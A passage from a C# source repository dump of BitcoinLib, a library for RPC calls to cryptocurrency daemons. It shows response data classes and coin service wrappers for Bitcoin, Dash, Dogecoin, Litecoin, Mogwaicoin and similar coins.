set; } 27 | public List WalletConflicts { get; set; } 28 | public int Time { get; set; } 29 | public int TimeReceived { get; set; } 30 | public string Comment { get; set; } 31 | public string To { get; set; } 32 | public bool InvolvesWatchonly { get; set; } 33 | } 34 | 35 | // Note: Do not alter the capitalization of the enum members 36 | public enum TransactionSinceBlockCategory 37 | { 38 | send, 39 | receive, 40 | generate, 41 | immature 42 | } 43 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/ListTransactionsResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | 6 | namespace BitcoinLib.Responses 7 | { 8 | public class ListTransactionsResponse 9 | { 10 | public string Account { get; set; } 11 | public string Address { get; set; } 12 | public string Category { get; set; } 13 | public decimal Amount { get; set; } 14 | public string Label { get; set; } 15 | public int Vout { get; set; } 16 | public decimal Fee { get; set; } 17 | public int Confirmations { get; set; } 18 | public string BlockHash { get; set; } 19 | public double BlockIndex { get; set; } 20 | public double BlockTime { get; set; } 21 | public string TxId { get; set; } 22 | public List WalletConflicts { get; set; } 23 | public double Time { get; set; } 24 | public double TimeReceived { get; set; } 25 | public string Comment { get; set; } 26 | public string OtherAccount { get; set; } 27 | public bool InvolvesWatchonly { get; set; } 28 | } 29 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/ListUnspentResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses 5 | { 6 | public class ListUnspentResponse 7 | { 8 | public string TxId { get; set; } 9 | public int Vout { get; set; } 10 | public string Address { get; set; } 11 | public string Account { get; set; } 12 | public string Label { get; set; } 13 | public string ScriptPubKey { get; set; } 14 | public decimal Amount { get; set; } 15 | public int Confirmations { get; set; } 16 | public bool Spendable { get; set; } 17 | 18 | public override string ToString() 19 | { 20 | // The Account field/concept is deprecated and will be removed in v0.18, cf.: 21 | // https://bitcoincore.org/en/releases/0.17.0/#label-and-account-apis-for-wallet 22 | if (!(Account is null)) 23 | { 24 | return $"Account: {Account}, Address: {Address}, Amount: {Amount}, Confirmations: {Confirmations}"; 25 | } 26 | return $"Label: {Label}, Address: {Address}, Amount: {Amount}, Confirmations: {Confirmations}"; 27 | } 28 | } 29 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/SharedComponents/Vin.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses.SharedComponents 5 | { 6 | public class Vin 7 | { 8 | public string TxId { get; set; } 9 | public string Vout { get; set; } 10 | public ScriptSig ScriptSig { get; set; } 11 | public string CoinBase { get; set; } 12 | public string Sequence { get; set; } 13 | } 14 | 15 | public class ScriptSig 16 | { 17 | public string Asm { get; set; } 18 | public string Hex { get; set; } 19 | } 20 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/SharedComponents/Vout.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using System.Collections.Generic; 5 | 6 | namespace BitcoinLib.Responses.SharedComponents 7 | { 8 | public class Vout 9 | { 10 | public decimal Value { get; set; } 11 | public int N { get; set; } 12 | public ScriptPubKey ScriptPubKey { get; set; } 13 | } 14 | 15 | public class ScriptPubKey 16 | { 17 | public string Asm { get; set; } 18 | public string Hex { get; set; } 19 | public int ReqSigs { get; set; } 20 | public string Type { get; set; } 21 | public List Addresses { get; set; } 22 | } 23 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/SignRawTransactionResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses 5 | { 6 | public class SignRawTransactionResponse 7 | { 8 | public string Hex { get; set; } 9 | public bool Complete { get; set; } 10 | } 11 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/SignRawTransactionWithKeyResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses 5 | { 6 | public class SignRawTransactionWithKeyResponse 7 | { 8 | public string Hex { get; set; } 9 | public bool Complete { get; set; } 10 | } 11 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/SignRawTransactionWithWalletResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses 5 | { 6 | public class SignRawTransactionWithWalletResponse 7 | { 8 | public string Hex { get; set; } 9 | public bool Complete { get; set; } 10 | } 11 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Responses/ValidateAddressResponse.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Responses 5 | { 6 | public class ValidateAddressResponse 7 | { 8 | public bool IsValid { get; set; } 9 | public string Address { get; set; } 10 | public bool IsMine { get; set; } 11 | public bool IsScript { get; set; } 12 | public string PubKey { get; set; } 13 | public bool IsCompressed { get; set; } 14 | public string Account { get; set; } 15 | } 16 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Base/ICoinService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.CoinParameters.Base; 5 | using BitcoinLib.Services.RpcServices.RpcExtenderService; 6 | using BitcoinLib.Services.RpcServices.RpcService; 7 | 8 | namespace BitcoinLib.Services.Coins.Base 9 | { 10 | public interface ICoinService : IRpcService, IRpcExtenderService, ICoinParameters 11 | { 12 | } 13 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Bitcoin/BitcoinService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.CoinParameters.Bitcoin; 5 | using BitcoinLib.RPC.Specifications; 6 | 7 | namespace BitcoinLib.Services.Coins.Bitcoin 8 | { 9 | public class BitcoinService : CoinService, IBitcoinService 10 | { 11 | public BitcoinService(bool useTestnet = false) : base(useTestnet) 12 | { 13 | } 14 | 15 | public BitcoinService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword) 16 | : base(daemonUrl, rpcUsername, rpcPassword, walletPassword) 17 | { 18 | } 19 | 20 | public BitcoinService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword, short rpcRequestTimeoutInSeconds) 21 | : base(daemonUrl, rpcUsername, rpcPassword, walletPassword, rpcRequestTimeoutInSeconds) 22 | { 23 | } 24 | 25 | public BitcoinConstants.Constants Constants => BitcoinConstants.Constants.Instance; 26 | 27 | public string SendToAddress(string bitcoinAddress, decimal amount, string comment, string commentTo, bool subtractFeeFromAmount, bool allowReplaceByFee) 28 | { 29 | return _rpcConnector.MakeRequest(RpcMethods.sendtoaddress, bitcoinAddress, amount, comment, commentTo, subtractFeeFromAmount, allowReplaceByFee); 30 | } 31 | 32 | public string GetNewAddress(string account = "", string addressType = "") 33 | { 34 | return string.IsNullOrWhiteSpace(account) 35 | ? _rpcConnector.MakeRequest(RpcMethods.getnewaddress) 36 | : _rpcConnector.MakeRequest(RpcMethods.getnewaddress, account, addressType); 37 | } 38 | } 39 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Bitcoin/IBitcoinService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.CoinParameters.Bitcoin; 5 | using BitcoinLib.Services.Coins.Base; 6 | 7 | namespace BitcoinLib.Services.Coins.Bitcoin 8 | { 9 | public interface IBitcoinService : ICoinService, IBitcoinConstants 10 | { 11 | } 12 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/BitcoinCash/BitcoinCashService.cs: -------------------------------------------------------------------------------- 1 | using BitcoinLib.CoinParameters.Bitcoin; 2 | using BitcoinLib.Services.Coins.Bitcoin; 3 | 4 | namespace BitcoinLib.Services.Coins.BitcoinCash 5 | { 6 | public class BitcoinCashService : CoinService, IBitcoinService 7 | { 8 | public BitcoinCashService(bool useTestnet = false) : base(useTestnet) 9 | { 10 | } 11 | 12 | public BitcoinCashService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword, short rpcRequestTimeoutInSeconds) : base(daemonUrl, rpcUsername, rpcPassword, walletPassword, rpcRequestTimeoutInSeconds) 13 | { 14 | } 15 | 16 | public BitcoinConstants.Constants Constants => BitcoinConstants.Constants.Instance; 17 | } 18 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Colx/ColxService.cs: -------------------------------------------------------------------------------- 1 | using BitcoinLib.CoinParameters.Colx; 2 | using BitcoinLib.Services.Coins.Bitcoin; 3 | using BitcoinLib.Services.Coins.Dash; 4 | 5 | namespace BitcoinLib.Services.Coins.Colx 6 | { 7 | /// 8 | /// Mostly the same functionality as . 9 | /// 10 | public class ColxService : DashService, IColxService 11 | { 12 | public ColxService(bool useTestnet = false) : base(useTestnet) { } 13 | 14 | public ColxService(string daemonUrl, string rpcUsername, string rpcPassword, 15 | string walletPassword) : base(daemonUrl, rpcUsername, rpcPassword, walletPassword) { } 16 | 17 | public ColxService(string daemonUrl, string rpcUsername, string rpcPassword, 18 | string walletPassword, short rpcRequestTimeoutInSeconds) : base(daemonUrl, rpcUsername, 19 | rpcPassword, walletPassword, rpcRequestTimeoutInSeconds) { } 20 | 21 | public new ColxConstants.Constants Constants => ColxConstants.Constants.Instance; 22 | } 23 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Colx/IColxService.cs: -------------------------------------------------------------------------------- 1 | using BitcoinLib.CoinParameters.Colx; 2 | using BitcoinLib.Services.Coins.Base; 3 | 4 | namespace BitcoinLib.Services.Coins.Colx 5 | { 6 | public interface IColxService : ICoinService, IColxConstants 7 | { 8 | } 9 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Cryptocoin/CryptocoinService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Services.Coins.Cryptocoin 5 | { 6 | public class CryptocoinService : CoinService, ICryptocoinService 7 | { 8 | public CryptocoinService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword) 9 | : base(daemonUrl, rpcUsername, rpcPassword, walletPassword) 10 | { 11 | } 12 | 13 | public CryptocoinService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword, short rpcRequestTimeoutInSeconds) 14 | : base(daemonUrl, rpcUsername, rpcPassword, walletPassword, rpcRequestTimeoutInSeconds) 15 | { 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Cryptocoin/ICryptocoinService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.Services.Coins.Base; 5 | 6 | namespace BitcoinLib.Services.Coins.Cryptocoin 7 | { 8 | public interface ICryptocoinService : ICoinService 9 | { 10 | } 11 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Dallar/DallarService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.CoinParameters.Dallar; 5 | using BitcoinLib.Requests.CreateRawTransaction; 6 | using BitcoinLib.Responses; 7 | using BitcoinLib.RPC.Specifications; 8 | 9 | namespace BitcoinLib.Services.Coins.Dallar 10 | { 11 | public class DallarService : CoinService, IDallarService 12 | { 13 | public DallarService(bool useTestnet = false) : base(useTestnet) 14 | { 15 | } 16 | 17 | public DallarService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword = null) 18 | : base(daemonUrl, rpcUsername, rpcPassword, walletPassword) 19 | { 20 | } 21 | 22 | public DallarService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword, short rpcRequestTimeoutInSeconds) 23 | : base(daemonUrl, rpcUsername, rpcPassword, walletPassword, rpcRequestTimeoutInSeconds) 24 | { 25 | } 26 | 27 | public DallarConstants.Constants Constants => DallarConstants.Constants.Instance; 28 | 29 | public decimal GetEstimateFeeForSendToAddress(string Address, decimal Amount) 30 | { 31 | var txRequest = new CreateRawTransactionRequest(); 32 | txRequest.AddOutput(Address, Amount); 33 | return GetFundRawTransaction(CreateRawTransaction(txRequest)).Fee; 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Dallar/IDallarService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.CoinParameters.Dallar; 5 | using BitcoinLib.Responses; 6 | using BitcoinLib.Services.Coins.Base; 7 | 8 | namespace BitcoinLib.Services.Coins.Dallar 9 | { 10 | public interface IDallarService : ICoinService, IDallarConstants 11 | { 12 | decimal GetEstimateFeeForSendToAddress(string Address, decimal Amount); 13 | } 14 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Dash/AddressBalanceRequest.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using Newtonsoft.Json; 3 | 4 | namespace BitcoinLib.Services.Coins.Dash 5 | { 6 | public class AddressBalanceRequest 7 | { 8 | [JsonProperty("addresses")] 9 | public List Addresses { get; set; } 10 | } 11 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Dash/AddressBalanceResponse.cs: -------------------------------------------------------------------------------- 1 | namespace BitcoinLib.Services.Coins.Dash 2 | { 3 | public class AddressBalanceResponse 4 | { 5 | public long Balance { get; set; } 6 | public long Received { get; set; } 7 | } 8 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Dash/DashService.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using System.Linq; 3 | using BitcoinLib.CoinParameters.Dash; 4 | using BitcoinLib.Requests.SignRawTransaction; 5 | using BitcoinLib.RPC.Specifications; 6 | using BitcoinLib.Services.Coins.Bitcoin; 7 | using Newtonsoft.Json.Linq; 8 | 9 | namespace BitcoinLib.Services.Coins.Dash 10 | { 11 | /// 12 | /// Mostly the same functionality as , just adds a bunch more features 13 | /// for handling InstantSend and PrivateSend, plus better raw tx generation support. 14 | /// 15 | public class DashService : CoinService, IDashService 16 | { 17 | public DashService(bool useTestnet = false) : base(useTestnet) { } 18 | 19 | public DashService(string daemonUrl, string rpcUsername, string rpcPassword, 20 | string walletPassword) : base(daemonUrl, rpcUsername, rpcPassword, walletPassword) { } 21 | 22 | public DashService(string daemonUrl, string rpcUsername, string rpcPassword, 23 | string walletPassword, short rpcRequestTimeoutInSeconds) : base(daemonUrl, rpcUsername, 24 | rpcPassword, walletPassword, rpcRequestTimeoutInSeconds) { } 25 | 26 | /// 27 | /// Adds InstantSend and PrivateSend to SendToAddress from our wallet. 28 | /// 29 | /// 30 | public string SendToAddress(string dashAddress, decimal amount, string comment = null, 31 | string commentTo = null, bool subtractFeeFromAmount = false, bool useInstantSend = false, 32 | bool usePrivateSend = false) 33 | => _rpcConnector.MakeRequest(RpcMethods.sendtoaddress, dashAddress, amount, 34 | comment, commentTo, subtractFeeFromAmount, useInstantSend, usePrivateSend); 35 | 36 | /// 37 | /// Adds InstantSend support to SendRawTransaction 38 | /// 39 | public string SendRawTransaction(string rawTransactionHexString, bool allowHighFees, 40 | bool useInstantSend) 41 | => _rpcConnector.MakeRequest(RpcMethods.sendrawtransaction, rawTransactionHexString, 42 | allowHighFees, useInstantSend); 43 | 44 | public SignRawTransactionWithErrorResponse SignRawTransactionWithErrorSupport( 45 | SignRawTransactionRequest request) 46 | { 47 | if (request.Inputs.Count == 0) 48 | request.Inputs = null; 49 | if (string.IsNullOrWhiteSpace(request.SigHashType)) 50 | request.SigHashType = "ALL"; 51 | if (request.PrivateKeys.Count == 0) 52 | request.PrivateKeys = null; 53 | return _rpcConnector.MakeRequest( 54 | RpcMethods.signrawtransaction, request.RawTransactionHex, request.Inputs, 55 | request.PrivateKeys, request.SigHashType); 56 | } 57 | 58 | /// 59 | /// privatesend "command" 60 | /// Arguments: 61 | /// 1. "command" (string or set of strings, required) The command to execute 62 | /// Available commands: 63 | /// start - Start mixing 64 | /// stop - Stop mixing 65 | /// reset - Reset mixing 66 | /// 67 | public string SendPrivateSendCommand(string command) 68 | => _rpcConnector.MakeRequest(RpcMethods.privatesend, command); 69 | 70 | public AddressBalanceResponse GetAddressBalance(AddressBalanceRequest addresses) 71 | => _rpcConnector.MakeRequest(RpcMethods.getaddressbalance, addresses); 72 | 73 | /// 74 | /// Extends unspend result to show ps_rounds to check for available mixed PrivateSend amount. 75 | /// 76 | public List ListUnspentPrivateSend() 77 | => _rpcConnector.MakeRequest>(RpcMethods.listunspent, 78 | 1, 9999999, new List()); 79 | 80 | public DashConstants.Constants Constants => DashConstants.Constants.Instance; 81 | 82 | public List MasternodeList() 83 | { 84 | var response = _rpcConnector.MakeRequest(RpcMethods.masternode, "list"); 85 | var result = new List(); 86 | foreach (var data in response) 87 | result.Add(data.Value.ToObject()); 88 | return result; 89 | } 90 | } 91 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Dash/IDashService.cs: -------------------------------------------------------------------------------- 1 | using BitcoinLib.CoinParameters.Dash; 2 | using BitcoinLib.Services.Coins.Base; 3 | 4 | namespace BitcoinLib.Services.Coins.Dash 5 | { 6 | public interface IDashService : ICoinService, IDashConstants 7 | { 8 | /// 9 | /// Send an amount to a given address. 10 | /// 11 | /// The dash address to send to. 12 | /// The amount in DASH to send. eg 0.1. 13 | /// 14 | /// A comment used to store what the transaction is for. This is not part of the transaction, 15 | /// just kept in your wallet. 16 | /// 17 | /// 18 | /// A comment to store the name of the person or organization to which you're sending the 19 | /// transaction. This is not part of the transaction, just kept in your wallet. 20 | /// 21 | /// 22 | /// The fee will be deducted from the amount being sent. The recipient will receive 23 | /// less amount of Dash than you enter in the amount field. 24 | /// 25 | /// Send this transaction as InstantSend. 26 | /// Use anonymized funds only. 27 | /// The transaction id. 28 | string SendToAddress(string dashAddress, decimal amount, string comment = null, 29 | string commentTo = null, bool subtractFeeFromAmount = false, bool useInstantSend = false, 30 | bool usePrivateSend = false); 31 | } 32 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Dash/ListUnspentDashResponse.cs: -------------------------------------------------------------------------------- 1 | using BitcoinLib.Responses; 2 | 3 | namespace BitcoinLib.Services.Coins.Dash 4 | { 5 | public class ListUnspentDashResponse : ListUnspentResponse 6 | { 7 | public decimal Ps_Rounds { get; set; } 8 | } 9 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Dash/MasternodeListResponse.cs: -------------------------------------------------------------------------------- 1 | namespace BitcoinLib.Services.Coins.Dash 2 | { 3 | public class MasternodeResponse 4 | { 5 | public string Address { get; set; } 6 | public string Payee { get; set; } 7 | public string Status { get; set; } 8 | public int Protocol { get; set; } 9 | public int LastSeen { get; set; } 10 | public int ActiveSeconds { get; set; } 11 | public int LastPaidTime { get; set; } 12 | public int LastPaidBlock { get; set; } 13 | } 14 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Dash/SignRawTransactionError.cs: -------------------------------------------------------------------------------- 1 | namespace BitcoinLib.Services.Coins.Dash 2 | { 3 | public class SignRawTransactionError 4 | { 5 | public string Txid { get; set; } 6 | public int Vout { get; set; } 7 | public string ScriptSig { get; set; } 8 | public long Sequence { get; set; } 9 | public string Error { get; set; } 10 | } 11 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Dash/SignRawTransactionWithErrorResponse.cs: -------------------------------------------------------------------------------- 1 | using System.Collections.Generic; 2 | using BitcoinLib.Responses; 3 | 4 | namespace BitcoinLib.Services.Coins.Dash 5 | { 6 | public class SignRawTransactionWithErrorResponse : SignRawTransactionResponse 7 | { 8 | public List Errors { get; set; } 9 | } 10 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Dogecoin/DogecoinService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.CoinParameters.Dogecoin; 5 | 6 | namespace BitcoinLib.Services.Coins.Dogecoin 7 | { 8 | public class DogecoinService : CoinService, IDogecoinService 9 | { 10 | public DogecoinService(bool useTestnet = false) : base(useTestnet) 11 | { 12 | } 13 | 14 | public DogecoinService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword) 15 | : base(daemonUrl, rpcUsername, rpcPassword, walletPassword) 16 | { 17 | } 18 | 19 | public DogecoinService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword, short rpcRequestTimeoutInSeconds) 20 | : base(daemonUrl, rpcUsername, rpcPassword, walletPassword, rpcRequestTimeoutInSeconds) 21 | { 22 | } 23 | 24 | public DogecoinConstants.Constants Constants => DogecoinConstants.Constants.Instance; 25 | } 26 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Dogecoin/IDogecoinService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.CoinParameters.Dogecoin; 5 | using BitcoinLib.Services.Coins.Base; 6 | 7 | namespace BitcoinLib.Services.Coins.Dogecoin 8 | { 9 | public interface IDogecoinService : ICoinService, IDogecoinConstants 10 | { 11 | } 12 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Litecoin/ILitecoinService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.CoinParameters.Litecoin; 5 | using BitcoinLib.Services.Coins.Base; 6 | 7 | namespace BitcoinLib.Services.Coins.Litecoin 8 | { 9 | public interface ILitecoinService : ICoinService, ILitecoinConstants 10 | { 11 | } 12 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Litecoin/LitecoinService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.CoinParameters.Litecoin; 5 | 6 | namespace BitcoinLib.Services.Coins.Litecoin 7 | { 8 | public class LitecoinService : CoinService, ILitecoinService 9 | { 10 | public LitecoinService(bool useTestnet = false) : base(useTestnet) 11 | { 12 | } 13 | 14 | public LitecoinService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword = null) 15 | : base(daemonUrl, rpcUsername, rpcPassword, walletPassword) 16 | { 17 | } 18 | 19 | public LitecoinService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword, short rpcRequestTimeoutInSeconds) 20 | : base(daemonUrl, rpcUsername, rpcPassword, walletPassword, rpcRequestTimeoutInSeconds) 21 | { 22 | } 23 | 24 | public LitecoinConstants.Constants Constants => LitecoinConstants.Constants.Instance; 25 | } 26 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Mogwaicoin/IMogwaicoinService.cs: -------------------------------------------------------------------------------- 1 | using BitcoinLib.CoinParameters.Mogwaicoin; 2 | using BitcoinLib.Services.Coins.Base; 3 | using System.Collections.Generic; 4 | 5 | namespace BitcoinLib.Services.Coins.Mogwaicoin 6 | { 7 | public interface IMogwaicoinService : ICoinService, IMogwaicoinConstants 8 | { 9 | /// 10 | /// Send an amount to a given address. 11 | /// 12 | /// The mogwai address to send to. 13 | /// The amount in MOG to send. eg 0.1. 14 | /// 15 | /// A comment used to store what the transaction is for. This is not part of the transaction, 16 | /// just kept in your wallet. 17 | /// 18 | /// 19 | /// A comment to store the name of the person or organization to which you're sending the 20 | /// transaction. This is not part of the transaction, just kept in your wallet. 21 | /// 22 | /// 23 | /// The fee will be deducted from the amount being sent. The recipient will receive 24 | /// less amount of Dash than you enter in the amount field. 25 | /// 26 | /// Send this transaction as InstantSend. 27 | /// Use anonymized funds only. 28 | /// The transaction id. 29 | string SendToAddress(string dashAddress, decimal amount, string comment = null, 30 | string commentTo = null, bool subtractFeeFromAmount = false, bool useInstantSend = false, 31 | bool usePrivateSend = false); 32 | 33 | /// 34 | /// Get MirrorAddress 35 | /// 36 | /// The mogwai address to send to. 37 | /// 38 | MirrorAddressResponse MirrorAddress(string mogwaiAddress); 39 | 40 | /// 41 | /// Get transactions sent to MirrorAddress 42 | /// 43 | /// The mogwai address to send to. 44 | /// 45 | List ListMirrorTransactions(string mogwaiAddress); 46 | } 47 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Mogwaicoin/MogwaicoinService.cs: -------------------------------------------------------------------------------- 1 | using BitcoinLib.CoinParameters.Mogwaicoin; 2 | using BitcoinLib.Responses; 3 | using BitcoinLib.RPC.Specifications; 4 | using System.Collections.Generic; 5 | 6 | namespace BitcoinLib.Services.Coins.Mogwaicoin 7 | { 8 | public class MogwaicoinService : CoinService, IMogwaicoinService 9 | { 10 | public MogwaicoinService(bool useTestnet = false) : base(useTestnet) 11 | { 12 | } 13 | 14 | public MogwaicoinService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword) 15 | : base(daemonUrl, rpcUsername, rpcPassword, walletPassword) 16 | { 17 | } 18 | 19 | public MogwaicoinService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword, 20 | short rpcRequestTimeoutInSeconds) 21 | : base(daemonUrl, rpcUsername, rpcPassword, walletPassword, rpcRequestTimeoutInSeconds) 22 | { 23 | } 24 | 25 | /// 26 | public string SendToAddress(string mogwaiAddress, decimal amount, string comment = null, string commentTo = null, 27 | bool subtractFeeFromAmount = false, bool useInstantSend = false, bool usePrivateSend = false) 28 | { 29 | return _rpcConnector.MakeRequest(RpcMethods.sendtoaddress, mogwaiAddress, amount, comment, commentTo, 30 | subtractFeeFromAmount, useInstantSend, usePrivateSend); 31 | } 32 | 33 | public MirrorAddressResponse MirrorAddress(string mogwaiAddress) 34 | { 35 | return _rpcConnector.MakeRequest(RpcMethods.mirroraddress, mogwaiAddress); 36 | } 37 | 38 | public List ListMirrorTransactions(string mogwaiAddress) 39 | { 40 | return _rpcConnector.MakeRequest>(RpcMethods.listmirrtransactions, mogwaiAddress); 41 | } 42 | 43 | public MogwaicoinConstants.Constants Constants => MogwaicoinConstants.Constants.Instance; 44 | } 45 | 46 | public class MirrorAddressResponse 47 | { 48 | public bool IsValid { get; set; } 49 | public string Address { get; set; } 50 | public bool IsMine { get; set; } 51 | public bool IsScript { get; set; } 52 | public string PubKey { get; set; } 53 | public bool IsCompressed { get; set; } 54 | public string MirKey { get; set; } 55 | public bool MirKeyValid { get; set; } 56 | public bool IsMirAddrValid { get; set; } 57 | public string MirAddress { get; set; } 58 | } 59 | 60 | public class ListMirrorTransactionsResponse 61 | { 62 | public string Address { get; set; } 63 | public string Category { get; set; } 64 | public decimal Amount { get; set; } 65 | public int Vout { get; set; } 66 | public decimal Fee { get; set; } 67 | public int Confirmations { get; set; } 68 | public bool Instantlock { get; set; } 69 | public bool Generated { get; set; } 70 | public bool Trusted { get; set; } 71 | public string BlockHash { get; set; } 72 | public double BlockIndex { get; set; } 73 | public double BlockTime { get; set; } 74 | public string TxId { get; set; } 75 | public double Time { get; set; } 76 | public double TimeReceived { get; set; } 77 | public bool Abandoned { get; set; } 78 | } 79 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Sarcoin/ISarcoinService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using BitcoinLib.Services.Coins.Base; 5 | 6 | namespace BitcoinLib.Services.Coins.Sarcoin 7 | { 8 | public interface ISarcoinService : ICoinService 9 | { 10 | } 11 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Sarcoin/SarcoinService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | namespace BitcoinLib.Services.Coins.Sarcoin 5 | { 6 | public class SarcoinService : CoinService, ISarcoinService 7 | { 8 | public SarcoinService(bool useTestnet = false) : base(useTestnet) 9 | { 10 | } 11 | 12 | public SarcoinService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword) 13 | : base(daemonUrl, rpcUsername, rpcPassword, walletPassword) 14 | { 15 | } 16 | 17 | public SarcoinService(string daemonUrl, string rpcUsername, string rpcPassword, string walletPassword, short rpcRequestTimeoutInSeconds) 18 | : base(daemonUrl, rpcUsername, rpcPassword, walletPassword, rpcRequestTimeoutInSeconds) 19 | { 20 | } 21 | } 22 | } -------------------------------------------------------------------------------- /src/BitcoinLib/Services/Coins/Smartcash/ISmartcashService.cs: -------------------------------------------------------------------------------- 1 | // Copyright (c) 2014 - 2016 George Kimionis 2 | // See the accompanying file LICENSE for the Software License Aggrement 3 | 4 | using 